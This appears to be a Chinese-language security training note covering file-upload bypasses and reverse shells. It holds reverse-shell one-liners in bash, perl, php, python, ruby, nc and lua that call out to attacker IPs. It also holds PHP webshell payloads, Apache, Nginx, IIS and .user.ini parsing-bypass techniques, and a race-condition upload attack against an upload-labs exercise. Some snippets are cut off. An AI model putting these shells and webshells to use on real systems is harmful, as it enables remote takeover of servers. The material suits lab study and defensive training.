【网络安全4x01】洞明科技网络安全培训 --- day1
第一天讲文件上传里的一些绕过方法和反弹shell。
Linux下NC反弹shell命令
本机开启监听:
1 | nc -lvnp 4444 |
目标机器开启反弹
bash版本:
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
perl版本:
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
php版本:
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby版本:
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
python版本:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
nc版本:
1 | nc -e /bin/sh 10.0.0.1 1234 |
java版本:
1 | r = Runtime.getRuntime() |
lua版本:
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
NC版本不使用-e参数:
1 | mknod /tmp/backpipe p |
文件上传
解析漏洞
apache
Apache解析漏洞成因
成因:
由于Apache 识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽略,往左进行识别,如果左边是在解析范围内的就会正常解析,而一般程序进行判断文件是否允许上传是根据最后的后缀名进行判断的。Apache解析漏洞利用条件
Apache解析漏洞只存在于老版本中:
经测试:Apache 2.0 Apache 2.2 是存在解析漏洞的。示例
在一个后端黑名单判断的文件上传的例子中:
如果Apache版本比较老,那么就可以使用如下的方式来绕过黑名单的检测。.htaccess
(1)
.htaccess
(超文本访问)是许多Web服务器根据目录应用设置的有用文件,允许在运行时覆盖Apache服务器的默认配置。
(2).htaccess
是一个完整的文件名,不仅仅是文件的扩展名。.htaccess
的代码如下:
1 | <FilesMatch "1.jpg"> |
nginx
配置错误导致的解析漏洞
对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不当造成的。
00截断
Nginx解析漏洞
Nginx版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
需要很老的版本才可以,00截断也和 php版本有关系。CVE-2013-4547
Nginx 版本: 0.8.41~1.4.3, 1.5 <= 1.5.7
使用方法:
(1)上传文件名如: 1.jpg空格
(2)访问例如:1.jpg…php
(3)访问的时候抓包,修改后缀为1.jpg[0x20][0x00][0x2e]php
(使用burp修改,调整 hex 即可)
(4)修改后进行访问就会发现 jpg 图片会被当做 php解析使用
.user.ini
绕过黑名单使用条件:
(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式
(2)上传目录下要有可执行的php文件
例如:PHP study中使用 nginx 中间件的时候就可以进行实验。使用方式:
(1)上传一张图片
(2)上传.user.ini
文件。内容为:auto_prepend_file=2.png
(这一句即可)
(3)访问:http://IP/upload/2.png/xx.php
(目录中存在的 一个php文件)
IIS
IIS 5.x-6.x
(1)目录解析
www.xxx.com/xx.asp/xx.jpg
(2)文件解析www.xxx.com/xx.asp;.jpg
IIS 7.0-7.5
Upload/1.jpg/*.php
我们把下面的代码,插入到一张图片中。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>’)?>
那么,访问
x.x.x/upload/1.jpg/.php
,就会在当前目录生成一个木马
php内容过滤
绕过
<? ?>
:使用<script language=php> </script>
绕过
eval
、assert
过滤:使用system();
绕过
GET
、post
过滤:使用REQUEST
示例:
1 | eval($_POST[cmd]); @ |
然后访问url/xxx.php?cmd=
或者post一个cmd=
的包均可,也可以写一个一句话木马到别的文件:
1 | url/xxx.php?cmd=echo '<?php @eval($_POST[sb]);?>' >> test.php |
也可以直接反弹shell:
1 | <script language=php>system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.234 4445 >/tmp/f');</script> |
- 如果同级路径下有后缀不为php的一句话木马,也可以一句话包含执行:
1 | <script language=php>include('ma.txt');</script> |
条件竞争
upload-labs Less17
上传123.php
,内容为生成下面的反弹shell,burp里intruder开500线程重复攻击,浏览器不断刷新访问还未被删除的123.php
,直至反弹shell创建成功:
1 | fputs(fopen('gt.php', 'w'),'<?php @eval($_POST[cmd]);?>'); |